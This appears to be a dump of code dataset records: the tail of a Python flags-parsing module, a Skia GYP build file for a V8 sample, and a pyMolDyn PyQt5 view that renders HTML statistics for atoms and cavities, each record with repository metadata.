super(IntegerParser, self).__init__() self.lower_bound = lower_bound self.upper_bound = upper_bound sh = self.syntactic_help if lower_bound is not None and upper_bound is not None: sh = ("%s in the range [%s, %s]" % (sh, lower_bound, upper_bound)) elif lower_bound == 1: sh = "a positive %s" % self.number_name elif upper_bound == -1: sh = "a negative %s" % self.number_name elif lower_bound == 0: sh = "a non-negative %s" % self.number_name elif upper_bound == 0: sh = "a non-positive %s" % self.number_name elif upper_bound is not None: sh = "%s <= %s" % (self.number_name, upper_bound) elif lower_bound is not None: sh = "%s >= %s" % (self.number_name, lower_bound) self.syntactic_help = sh def Convert(self, argument): __pychecker__ = 'no-returnvalues' if type(argument) == str: base = 10 if len(argument) > 2 and argument[0] == "0" and argument[1] == "x": base = 16 return int(argument, base) else: return int(argument) def Type(self): return 'int' def DEFINE_integer(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): parser = IntegerParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE(parser, name, default, help, flag_values, serializer, **args) _RegisterBoundsValidatorIfNeeded(parser, name, flag_values=flag_values) # # ENUM FLAGS # class EnumParser(ArgumentParser): def __init__(self, enum_values=None): super(EnumParser, self).__init__() self.enum_values = enum_values def Parse(self, argument): if self.enum_values and argument not in self.enum_values: raise ValueError("value should be one of <%s>" % "|".join(self.enum_values)) return argument def Type(self): return 'string enum' class EnumFlag(Flag): def __init__(self, name, default, help, enum_values=None, short_name=None, **args): enum_values = enum_values or [] p = EnumParser(enum_values) g = ArgumentSerializer() Flag.__init__(self, p, g, name, default, help, short_name, **args) if not self.help: self.help = "an enum string" self.help = "<%s>: %s" % ("|".join(enum_values), self.help) def _WriteCustomInfoInXMLFormat(self, outfile, indent): for enum_value in self.parser.enum_values: _WriteSimpleXMLElement(outfile, 'enum_value', enum_value, indent) def DEFINE_enum(name, default, enum_values, help, flag_values=FLAGS, **args): DEFINE_flag(EnumFlag(name, default, help, enum_values, ** args), flag_values) # # LIST FLAGS # class BaseListParser(ArgumentParser): def __init__(self, token=None, name=None): assert name super(BaseListParser, self).__init__() self._token = token self._name = name self.syntactic_help = "a %s separated list" % self._name def Parse(self, argument): if isinstance(argument, list): return argument elif argument == '': return [] else: return [s.strip() for s in argument.split(self._token)] def Type(self): return '%s separated list of strings' % self._name class ListParser(BaseListParser): def __init__(self): BaseListParser.__init__(self, ',', 'comma') def WriteCustomInfoInXMLFormat(self, outfile, indent): BaseListParser.WriteCustomInfoInXMLFormat(self, outfile, indent) _WriteSimpleXMLElement(outfile, 'list_separator', repr(','), indent) class WhitespaceSeparatedListParser(BaseListParser): def __init__(self): BaseListParser.__init__(self, None, 'whitespace') def WriteCustomInfoInXMLFormat(self, outfile, indent): BaseListParser.WriteCustomInfoInXMLFormat(self, outfile, indent) separators = list(string.whitespace) separators.sort() for ws_char in string.whitespace: _WriteSimpleXMLElement(outfile, 'list_separator', repr(ws_char), indent) def DEFINE_list(name, default, help, flag_values=FLAGS, **args): parser = ListParser() serializer = ListSerializer(',') DEFINE(parser, name, default, help, flag_values, serializer, **args) def DEFINE_spaceseplist(name, default, help, flag_values=FLAGS, **args): parser = WhitespaceSeparatedListParser() serializer = ListSerializer(' ') DEFINE(parser, name, default, help, flag_values, serializer, **args) # # MULTI FLAGS # class MultiFlag(Flag): def __init__(self, *args, **kwargs): Flag.__init__(self, *args, **kwargs) self.help += ';\n repeat this option to specify a list of values' def Parse(self, arguments): if not isinstance(arguments, list): # Default value may be a list of values. Most other arguments # will not be, so convert them into a single-item list to make # processing simpler below. arguments = [arguments] if self.present: # keep a backup reference to list of previously supplied option values values = self.value else: # "erase" the defaults with an empty list values = [] for item in arguments: # have Flag superclass parse argument, overwriting self.value reference Flag.Parse(self, item) # also increments self.present values.append(self.value) # put list of option values back in the 'value' attribute self.value = values def Serialize(self): if not self.serializer: raise FlagsError("Serializer not present for flag %s" % self.name) if self.value is None: return '' s = '' multi_value = self.value for self.value in multi_value: if s: s += ' ' s += Flag.Serialize(self) self.value = multi_value return s def Type(self): return 'multi ' + self.parser.Type() def DEFINE_multi(parser, serializer, name, default, help, flag_values=FLAGS, **args): DEFINE_flag(MultiFlag(parser, serializer, name, default, help, **args), flag_values) def DEFINE_multistring(name, default, help, flag_values=FLAGS, **args): parser = ArgumentParser() serializer = ArgumentSerializer() DEFINE_multi(parser, serializer, name, default, help, flag_values, **args) def DEFINE_multi_int(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): parser = IntegerParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE_multi(parser, serializer, name, default, help, flag_values, **args) def DEFINE_multi_float(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): parser = FloatParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE_multi(parser, serializer, name, default, help, flag_values, **args) # Now register the flags that we want to exist in all applications. # These are all defined with allow_override=1, so user-apps can use # these flagnames for their own purposes, if they want. DEFINE_flag(HelpFlag()) DEFINE_flag(HelpshortFlag()) DEFINE_flag(HelpXMLFlag()) # Define special flags here so that help may be generated for them. # NOTE: Please do NOT use _SPECIAL_FLAGS from outside this module. _SPECIAL_FLAGS = FlagValues() DEFINE_string( 'flagfile', "", "Insert flag definitions from the given file into the command line.", _SPECIAL_FLAGS) DEFINE_string( 'undefok', "", "comma-separated list of flag names that it is okay to specify " "on the command line even if the program does not define a flag " "with that name. IMPORTANT: flags in this list that have " "arguments MUST use the --flag=value format.", _SPECIAL_FLAGS)
true
true
f73d5f0ac62fffa7e34b3eb3b3a53cc1314624cd
3,469
gyp
Python
gyp/v8.gyp
scroggo/skia
792c80f5a7b66e75d42664ccb298f31962c6654c
[ "BSD-3-Clause" ]
2
2019-05-09T17:06:47.000Z
2020-07-06T16:14:13.000Z
gyp/v8.gyp
scroggo/skia
792c80f5a7b66e75d42664ccb298f31962c6654c
[ "BSD-3-Clause" ]
null
null
null
gyp/v8.gyp
scroggo/skia
792c80f5a7b66e75d42664ccb298f31962c6654c
[ "BSD-3-Clause" ]
3
2015-03-13T14:30:30.000Z
2020-07-06T16:13:36.000Z
# GYP file to build a V8 sample. { 'targets': [ { 'target_name': 'SkV8Example', 'type': 'executable', 'mac_bundle' : 1, 'include_dirs' : [ '../third_party/externals/v8/include', '../third_party/externals/v8', ], 'sources': [ '../experimental/SkV8Example/DrawingMethods.cpp', '../experimental/SkV8Example/DrawingMethods.h', '../experimental/SkV8Example/Global.cpp', '../experimental/SkV8Example/Global.h', '../experimental/SkV8Example/JsContext.cpp', '../experimental/SkV8Example/JsContext.h', '../experimental/SkV8Example/Path2DBuilder.cpp', '../experimental/SkV8Example/Path2DBuilder.h', '../experimental/SkV8Example/Path2D.cpp', '../experimental/SkV8Example/Path2D.h', '../experimental/SkV8Example/SkV8Example.cpp', '../experimental/SkV8Example/SkV8Example.h', ], 'dependencies': [ 'flags.gyp:flags', 'skia_lib.gyp:skia_lib', 'views.gyp:views', 'xml.gyp:xml', ], 'link_settings': { 'libraries': [ # 'd:/src/v8/build/Debug/lib/v8_base.ia32.lib', # 'd:/src/v8/build/Debug/lib/v8_snapshot.lib', # 'd:/src/v8/build/Debug/lib/icuuc.lib', # 'd:/src/v8/build/Debug/lib/icui18n.lib', # 'Ws2_32.lib', # 'Winmm.lib', '-lpthread', '-lrt', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_base.a', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_libbase.a', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_snapshot.a', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_libplatform.a', '../../third_party/externals/v8/out/native/obj.target/third_party/icu/libicudata.a', '../../third_party/externals/v8/out/native/obj.target/third_party/icu/libicui18n.a', '../../third_party/externals/v8/out/native/obj.target/third_party/icu/libicuuc.a', '../../third_party/externals/v8/out/native/obj.target/icudata/third_party/icu/linux/icudtl_dat.o', ], }, 'conditions' : [ [ 'skia_gpu == 1', { 'include_dirs' : [ '../src/gpu', ] }], [ 'skia_os == "win"', { 'sources' : [ '../src/views/win/SkOSWindow_Win.cpp', '../src/views/win/skia_win.cpp', ], }], [ 'skia_os == "mac"', { 'sources': [ '../src/views/mac/SampleAppDelegate.h', '../src/views/mac/SampleAppDelegate.mm', '../src/views/mac/SkEventNotifier.mm', '../src/views/mac/skia_mac.mm', '../src/views/mac/SkNSView.h', '../src/views/mac/SkNSView.mm', '../src/views/mac/SkOptionsTableView.h', '../src/views/mac/SkOptionsTableView.mm', '../src/views/mac/SkOSWindow_Mac.mm', '../src/views/mac/SkTextFieldCell.h', '../src/views/mac/SkTextFieldCell.m', ], 'include_dirs' : [ '../src/views/mac/' ], 'xcode_settings' : { 'INFOPLIST_FILE' : '../experimental/SkiaExamples/SkiaExamples-Info.plist', }, 'mac_bundle_resources' : [ '../experimental/SkiaExamples/SkiaExamples.xib' ], }], ], } ], }
36.904255
108
0.544826
{ 'targets': [ { 'target_name': 'SkV8Example', 'type': 'executable', 'mac_bundle' : 1, 'include_dirs' : [ '../third_party/externals/v8/include', '../third_party/externals/v8', ], 'sources': [ '../experimental/SkV8Example/DrawingMethods.cpp', '../experimental/SkV8Example/DrawingMethods.h', '../experimental/SkV8Example/Global.cpp', '../experimental/SkV8Example/Global.h', '../experimental/SkV8Example/JsContext.cpp', '../experimental/SkV8Example/JsContext.h', '../experimental/SkV8Example/Path2DBuilder.cpp', '../experimental/SkV8Example/Path2DBuilder.h', '../experimental/SkV8Example/Path2D.cpp', '../experimental/SkV8Example/Path2D.h', '../experimental/SkV8Example/SkV8Example.cpp', '../experimental/SkV8Example/SkV8Example.h', ], 'dependencies': [ 'flags.gyp:flags', 'skia_lib.gyp:skia_lib', 'views.gyp:views', 'xml.gyp:xml', ], 'link_settings': { 'libraries': [ '-lpthread', '-lrt', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_base.a', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_libbase.a', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_snapshot.a', '../../third_party/externals/v8/out/native/obj.target/tools/gyp/libv8_libplatform.a', '../../third_party/externals/v8/out/native/obj.target/third_party/icu/libicudata.a', '../../third_party/externals/v8/out/native/obj.target/third_party/icu/libicui18n.a', '../../third_party/externals/v8/out/native/obj.target/third_party/icu/libicuuc.a', '../../third_party/externals/v8/out/native/obj.target/icudata/third_party/icu/linux/icudtl_dat.o', ], }, 'conditions' : [ [ 'skia_gpu == 1', { 'include_dirs' : [ '../src/gpu', ] }], [ 'skia_os == "win"', { 'sources' : [ '../src/views/win/SkOSWindow_Win.cpp', '../src/views/win/skia_win.cpp', ], }], [ 'skia_os == "mac"', { 'sources': [ '../src/views/mac/SampleAppDelegate.h', '../src/views/mac/SampleAppDelegate.mm', '../src/views/mac/SkEventNotifier.mm', '../src/views/mac/skia_mac.mm', '../src/views/mac/SkNSView.h', '../src/views/mac/SkNSView.mm', '../src/views/mac/SkOptionsTableView.h', '../src/views/mac/SkOptionsTableView.mm', '../src/views/mac/SkOSWindow_Mac.mm', '../src/views/mac/SkTextFieldCell.h', '../src/views/mac/SkTextFieldCell.m', ], 'include_dirs' : [ '../src/views/mac/' ], 'xcode_settings' : { 'INFOPLIST_FILE' : '../experimental/SkiaExamples/SkiaExamples-Info.plist', }, 'mac_bundle_resources' : [ '../experimental/SkiaExamples/SkiaExamples.xib' ], }], ], } ], }
true
true
f73d5f8a8d45a03fee45a2b74e6d0f9d7fa36f86
22,931
py
Python
src/gui/tabs/statistics/html_view.py
sciapp/pyMolDyn
fba6ea91cb185f916b930cd25b4b1d28a22fb4c5
[ "MIT" ]
11
2016-10-25T09:48:36.000Z
2021-01-30T18:59:50.000Z
src/gui/tabs/statistics/html_view.py
sciapp/pyMolDyn
fba6ea91cb185f916b930cd25b4b1d28a22fb4c5
[ "MIT" ]
1
2017-09-19T06:03:36.000Z
2017-09-28T11:29:23.000Z
src/gui/tabs/statistics/html_view.py
sciapp/pyMolDyn
fba6ea91cb185f916b930cd25b4b1d28a22fb4c5
[ "MIT" ]
null
null
null
import jinja2 import numpy as np from PyQt5 import QtCore, QtWidgets import os.path import core.elements import core.bonds from collections import Counter from core.calculation.discretization import Discretization from gui.tabs.statistics.tree_list import TreeList from gui.util.webview import WebWidget def render_html_atom_group(atom_number, atom_elements): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'atoms.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of atoms", "description": "a summary of all calculated atoms", "atom_number": atom_number, "atom_elements": atom_elements } return template.render(template_vars) def render_html_atom(index, atom_fullname, atom_positions, atom_number, covalent_radius, cutoff_radius, atom_color_rgb, bonds): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'atom.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of atoms", "description": "a summary of one atom", "index": index, "atom_fullname": atom_fullname, "atom_positions": atom_positions, "atom_number": atom_number, "covalent_radius": covalent_radius, "cutoff_radius": cutoff_radius, "atom_color_rgb": atom_color_rgb, "bonds": bonds, } return template.render(template_vars) def render_html_cavity_center_group(number, surface_area, surface_volumes, volume_fraction): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_center.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of all cavities", "description": "a summary of all calculated center bases cavities", "number": number, "surface_area": surface_area, "surface_volumes": surface_volumes, "volume_fraction": volume_fraction, } return template.render(template_vars) def render_html_cavity_center_group_unknown(): template_loader = jinja2.FileSystemLoader( searchpath="gui/tabs/statistics/templates" ) template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_center_unknown.html' template = template_env.get_template( TEMPLATE_FILE ) return template.render({}) def render_html_cavity_center(**kwargs): needed_keys = ('index', 'surface', 'volume', 'domains', 'volume_fraction', 'mass_center', 'squared_gyration_radius', 'asphericity', 'acylindricity', 'anisotropy', 'characteristic_radius', 'is_cyclic') template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavity_center.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = dict(kwargs) template_vars["title"] = "Summary of one cavity (domain)" template_vars["description"] = "a summary of one calculated cavities (domain)" if kwargs["surface"] is not None and kwargs["volume"] is not None: template_vars["surface_to_volume_ratio"] = kwargs["surface"] / kwargs["volume"] missing_values = tuple(key for key in needed_keys if key not in kwargs or kwargs[key] is None) template_vars.update((key, None) for key in missing_values) template_vars["missing_values"] = missing_values if len(missing_values) > 0 else None return template.render(template_vars) def render_html_cavity_surface_group(number, surface_area, surface_volumes, volume_fraction): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_surface.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of atoms", "description": "a summary of all calculated surface based cavities", "number": number, "surface_area": surface_area, "surface_volumes": surface_volumes, "volume_fraction": volume_fraction, } return template.render(template_vars) def render_html_cavity_surface_group_unknown(): template_loader = jinja2.FileSystemLoader( searchpath="gui/tabs/statistics/templates" ) template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_surface_unknown.html' template = template_env.get_template( TEMPLATE_FILE ) return template.render({}) def render_html_cavity_surface(**kwargs): needed_keys = ('index', 'surface', 'volume', 'domains', 'volume_fraction', 'mass_center', 'squared_gyration_radius', 'asphericity', 'acylindricity', 'anisotropy', 'characteristic_radius', 'is_cyclic') template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavity_surface.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = dict(kwargs) template_vars["title"] = "Summary of one cavity (domain)" template_vars["description"] = "a summary of one calculated cavities (domain)" if kwargs["surface"] is not None and kwargs["volume"] is not None: template_vars["surface_to_volume_ratio"] = kwargs["surface"] / kwargs["volume"] missing_values = tuple(key for key in needed_keys if key not in kwargs or kwargs[key] is None) template_vars.update((key, None) for key in missing_values) template_vars["missing_values"] = missing_values if len(missing_values) > 0 else None return template.render(template_vars) def render_html_cavity_domain_group(number, surface_area, surface_volumes, surface_volumes_fractions): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'domains.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of all cavities (domains)", "description": "a summary of all calculated cavities (domains)", "number": number, "surface_area": surface_area, "surface_volumes": surface_volumes, "surface_volumes_fractions": surface_volumes_fractions, } return template.render(template_vars) def render_html_cavity_domain_group_unknown(): template_loader = jinja2.FileSystemLoader( searchpath="gui/tabs/statistics/templates" ) template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'domains_unknown.html' template = template_env.get_template( TEMPLATE_FILE ) return template.render({}) def render_html_cavity_domain(**kwargs): needed_keys = ('index', 'center', 'surface', 'volume', 'volume_fraction', 'surface_cavity_index', 'center_cavity_index', 'mass_center', 'squared_gyration_radius', 'asphericity', 'acylindricity', 'anisotropy', 'characteristic_radius', 'is_cyclic') template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'domain.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = dict(kwargs) template_vars["title"] = "Summary of one cavity (domain)" template_vars["description"] = "a summary of one calculated cavities (domain)" if kwargs["surface"] is not None and kwargs["volume"] is not None: template_vars["surface_to_volume_ratio"] = kwargs["surface"] / kwargs["volume"] missing_values = tuple(key for key in needed_keys if key not in kwargs or kwargs[key] is None) template_vars.update((key, None) for key in missing_values) template_vars["missing_values"] = missing_values if len(missing_values) > 0 else None return template.render(template_vars) class HTMLWindow(QtWidgets.QWidget): def __init__(self): QtWidgets.QWidget.__init__(self) box = QtWidgets.QVBoxLayout() self.webview = WebWidget(css_filepath='gui/tabs/statistics/templates/style.css') self.atoms = None self.cavities_center = None self.cavities_surface = None self.domains = None self.discretization = None self.tree_list = None self.webview.set_gui_html(None) self.webview.gui_link_clicked.connect(self.link_clicked) box.addWidget(self.webview) self.setLayout(box) box.setContentsMargins(5, 0, 0, 0) self.show() def minimumSizeHint(self): return QtCore.QSize(150, -1) def sizeHint(self): return QtCore.QSize(250, -1) def link_clicked(self, value): ''' examines the data of the given link by *data* an calls the specific method to render the new HTML page :param data: Value of the link clicked in Webview :return: None ''' value = value.split("/") if value[0] == "surface_cavity": self.show_surface_cavity(int(value[1])-1) elif value[0] == "center_cavity": self.show_center_cavity(int(value[1])-1) elif value[0] == "domain": self.show_domain(int(value[1])-1) elif value[0] == "focus": position = [float(value[1]),float(value[2]),float(value[3])] self.window().control.visualization.set_focus_on(*position) self.window().center.gl_widget.update() self.window().center.combo.setCurrentIndex(0) self.window().center.gl_stack.setCurrentIndex(0) elif value[0] == "atom": self.show_atom(int(value[1])) elif value[0] == 'hideothers': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent view_tab = main_window.view_dock.view_tab if value[1] == 'atom': atom_index = int(value[2])-1 view_tab.atom_check.indices = [atom_index] view_tab.atom_check.selection_checkbox_set_checked(True) elif value[1] == 'element': element = core.elements.names[int(value[2])] visible_atom_indices = [] for i, element_name in enumerate(self.atoms.elements): if core.elements.names[core.elements.numbers[element_name.upper()]] == element: visible_atom_indices.append(i) view_tab.atom_check.indices = visible_atom_indices view_tab.atom_check.selection_checkbox_set_checked(True) elif value[1] == 'domain': domain_index = int(value[2])-1 view_tab.domain_check.indices = [domain_index] view_tab.domain_check.selection_checkbox_set_checked(True) elif value[1] == 'surface_cavity': surface_cavity_index = int(value[2])-1 view_tab.surface_cavity_check.indices = [surface_cavity_index] view_tab.surface_cavity_check.selection_checkbox_set_checked(True) elif value[1] == 'center_cavity': center_cavity_index = int(value[2])-1 view_tab.center_cavity_check.indices = [center_cavity_index] view_tab.center_cavity_check.selection_checkbox_set_checked(True) elif value[0] == 'addtovisible': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent view_tab = main_window.view_dock.view_tab if value[1] == 'atom': atom_index = int(value[2])-1 view_tab.domain_check.add_indices([atom_index]) elif value[1] == 'domain': domain_index = int(value[2])-1 view_tab.domain_check.add_indices([domain_index]) elif value[1] == 'surface_cavity': surface_cavity_index = int(value[2])-1 view_tab.surface_cavity_check.add_indices([surface_cavity_index]) elif value[1] == 'center_cavity': center_cavity_index = int(value[2])-1 view_tab.center_cavity_check.add_indices([center_cavity_index]) elif value[0] == 'showall': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent view_tab = main_window.view_dock.view_tab if value[1] == 'atoms': view_tab.atom_check.setChecked(True) view_tab.atom_check.selection_checkbox_set_checked(False) if value[1] == 'domains': view_tab.domain_check.setChecked(True) view_tab.domain_check.selection_checkbox_set_checked(False) if value[1] == 'surface_cavities': view_tab.surface_cavity_check.setChecked(True) view_tab.surface_cavity_check.selection_checkbox_set_checked(False) if value[1] == 'center_cavities': view_tab.center_cavity_check.setChecked(True) view_tab.center_cavity_check.selection_checkbox_set_checked(False) elif value[0] == 'recalculate': parent = self.parent() while parent.parent(): parent = parent.parent() main_window = parent file_tab = main_window.file_dock.file_tab current_filename, current_frame = file_tab.last_shown_filename_with_frame file_tab.calculate({current_filename: [current_frame]}) def update_results(self, results): self.atoms = results.atoms self.cavities_center = results.center_cavities self.cavities_surface = results.surface_cavities self.domains = results.domains self.discretization = Discretization(results.atoms.volume, results.resolution, True) self.show_atom_group() def show_atom_group(self): atom_number = self.atoms.number atom_elements = Counter(self.atoms.elements) self.webview.set_gui_html(render_html_atom_group(atom_number, atom_elements)) def show_atom(self, index): if self.tree_list is not None: self.tree_list.select_atom(index) #for bond in bonds: # if index not in self.atoms.bonds[bond]: # self.atoms.bonds[bond].append(index) atom_name = self.atoms.elements[index] # atom name from periodic systen atom_fullname = core.elements.names[core.elements.numbers[atom_name.upper()]] # get full atom name atom_color_rgb = core.elements.colors[core.elements.numbers[atom_name.upper()]] atom_positions = self.atoms.positions[index] atom_number = core.elements.numbers[atom_name.upper()] covalent_radius = self.atoms.covalence_radii[index] cutoff_radius = self.atoms.radii[index] bonds = self.atoms.bonds[index] #print dir(self.domains[0]) self.webview.set_gui_html(render_html_atom(index, atom_fullname, atom_positions, atom_number, covalent_radius, cutoff_radius, atom_color_rgb, bonds)) def show_center_cavity_group(self): number = 0 surface_area = 0.0 volumes = 0.0 volume_fraction = 0.0 if self.cavities_center is None: self.webview.set_gui_html(render_html_cavity_center_group_unknown()) return number = self.cavities_center.number for sf in self.cavities_center.surface_areas: surface_area += sf for vl in self.cavities_center.volumes: volumes += vl if self.atoms.volume is not None: volume_fraction = (volumes/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_center_group(number, surface_area, volumes, volume_fraction)) def show_center_cavity(self, index): if self.tree_list is not None: self.tree_list.select_center_cavity(index) attrs = self._create_attr_getter(self.cavities_center, index) data = {} data['index'] = index data['volume_fraction'] = 0.0 cavities = attrs.multicavities domains = [] for cavity in cavities: domains.append((cavity+1, self.discretization.discrete_to_continuous(self.domains.centers[cavity]))) data['domains'] = domains data['surface'] = attrs.surface_areas data['volume'] = attrs.volumes data['mass_center'] = attrs.mass_centers data['squared_gyration_radius'] = attrs.squared_gyration_radii data['asphericity'] = attrs.asphericities data['acylindricity'] = attrs.acylindricities data['anisotropy'] = attrs.anisotropies data['characteristic_radius'] = attrs.characteristic_radii data['is_cyclic'] = index in self.cavities_center.cyclic_area_indices if self.atoms.volume is not None: data['volume_fraction'] = (data['volume']/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_center(**data)) def show_surface_cavity_group(self): number = 0 surface_area = 0.0 volumes = 0.0 volume_fraction = 0.0 if self.cavities_surface is None: self.webview.set_gui_html(render_html_cavity_surface_group_unknown()) return number = self.cavities_surface.number for sf in self.cavities_surface.surface_areas: surface_area += sf for vl in self.cavities_surface.volumes: volumes += vl if self.atoms.volume is not None: volume_fraction = (volumes/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_surface_group(number, surface_area, volumes, volume_fraction)) def show_surface_cavity(self, index): if self.tree_list is not None: self.tree_list.select_surface_cavity(index) attrs = self._create_attr_getter(self.cavities_surface, index) data = {} data['index'] = index data['volume_fraction'] = 0.0 cavities = attrs.multicavities domains = [] for cavity in cavities: domains.append((cavity+1, self.discretization.discrete_to_continuous(self.domains.centers[cavity]))) data['domains'] = domains data['surface'] = attrs.surface_areas data['volume'] = attrs.volumes data['mass_center'] = attrs.mass_centers data['squared_gyration_radius'] = attrs.squared_gyration_radii data['asphericity'] = attrs.asphericities data['acylindricity'] = attrs.acylindricities data['anisotropy'] = attrs.anisotropies data['characteristic_radius'] = attrs.characteristic_radii data['is_cyclic'] = index in self.cavities_surface.cyclic_area_indices if self.atoms.volume is not None: data['volume_fraction'] = (data['volume']/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_surface(**data)) def show_domain_group(self): number = 0 surface = 0.0 volumes = 0.0 volume_fraction = 0.0 if self.domains is None: self.webview.set_gui_html(render_html_cavity_domain_group_unknown()) return number = self.domains.number for sf in self.domains.surface_areas: surface += sf for vl in self.domains.volumes: volumes += vl if self.atoms.volume is not None: volume_fraction = (volumes/self.atoms.volume.volume)*100 self.webview.set_gui_html(render_html_cavity_domain_group(number, surface, volumes, volume_fraction)) def show_domain(self, index): if self.tree_list is not None: self.tree_list.select_domain(index) attrs = self._create_attr_getter(self.domains, index) data = {} data['index'] = index discrete_center = attrs.centers data['center'] = self.discretization.discrete_to_continuous(discrete_center) data['surface'] = attrs.surface_areas data['volume'] = attrs.volumes data['volume_fraction'] = 0.0 data['surface_cavity_index'] = None data['center_cavity_index'] = None data['mass_center'] = attrs.mass_centers data['squared_gyration_radius'] = attrs.squared_gyration_radii data['asphericity'] = attrs.asphericities data['acylindricity'] = attrs.acylindricities data['anisotropy'] = attrs.anisotropies data['characteristic_radius'] = attrs.characteristic_radii data['is_cyclic'] = index in self.domains.cyclic_area_indices if self.atoms.volume is not None: data['volume_fraction'] = (data['volume']/self.atoms.volume.volume)*100 if self.domains is not None and self.cavities_surface is not None: for i in range(len(self.cavities_surface.multicavities)): if index in self.cavities_surface.multicavities[i]: data['surface_cavity_index'] = i+1 break if self.domains is not None and self.cavities_center is not None: for i in range(len(self.cavities_center.multicavities)): if index in self.cavities_center.multicavities[i]: data['center_cavity_index'] = i+1 break self.webview.set_gui_html(render_html_cavity_domain(**data)) @staticmethod def _create_attr_getter(obj, index): class AttrGetter(object): def __init__(self, obj, index): self._obj = obj self._index = index def __getattr__(self, attr): value = getattr(self._obj, attr) is_numpy_array = isinstance(value, np.ndarray) if ((is_numpy_array and len(value.shape) > 0) or (not is_numpy_array and len(value) > 0)): return value[self._index] else: return None return AttrGetter(obj, index)
43.845124
157
0.654703
import jinja2 import numpy as np from PyQt5 import QtCore, QtWidgets import os.path import core.elements import core.bonds from collections import Counter from core.calculation.discretization import Discretization from gui.tabs.statistics.tree_list import TreeList from gui.util.webview import WebWidget def render_html_atom_group(atom_number, atom_elements): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'atoms.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of atoms", "description": "a summary of all calculated atoms", "atom_number": atom_number, "atom_elements": atom_elements } return template.render(template_vars) def render_html_atom(index, atom_fullname, atom_positions, atom_number, covalent_radius, cutoff_radius, atom_color_rgb, bonds): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'atom.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of atoms", "description": "a summary of one atom", "index": index, "atom_fullname": atom_fullname, "atom_positions": atom_positions, "atom_number": atom_number, "covalent_radius": covalent_radius, "cutoff_radius": cutoff_radius, "atom_color_rgb": atom_color_rgb, "bonds": bonds, } return template.render(template_vars) def render_html_cavity_center_group(number, surface_area, surface_volumes, volume_fraction): template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_center.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = {"title": "Summary of all cavities", "description": "a summary of all calculated center bases cavities", "number": number, "surface_area": surface_area, "surface_volumes": surface_volumes, "volume_fraction": volume_fraction, } return template.render(template_vars) def render_html_cavity_center_group_unknown(): template_loader = jinja2.FileSystemLoader( searchpath="gui/tabs/statistics/templates" ) template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavities_center_unknown.html' template = template_env.get_template( TEMPLATE_FILE ) return template.render({}) def render_html_cavity_center(**kwargs): needed_keys = ('index', 'surface', 'volume', 'domains', 'volume_fraction', 'mass_center', 'squared_gyration_radius', 'asphericity', 'acylindricity', 'anisotropy', 'characteristic_radius', 'is_cyclic') template_loader = jinja2.FileSystemLoader(searchpath="gui/tabs/statistics/templates") template_env = jinja2.Environment(loader=template_loader) TEMPLATE_FILE = 'cavity_center.html' template = template_env.get_template(TEMPLATE_FILE) template_vars = dict(kwargs) template_vars["title"] = "Summary of one cavity (domain)" template_vars["description"] = "a summary of one calculated cavities (domain)" if 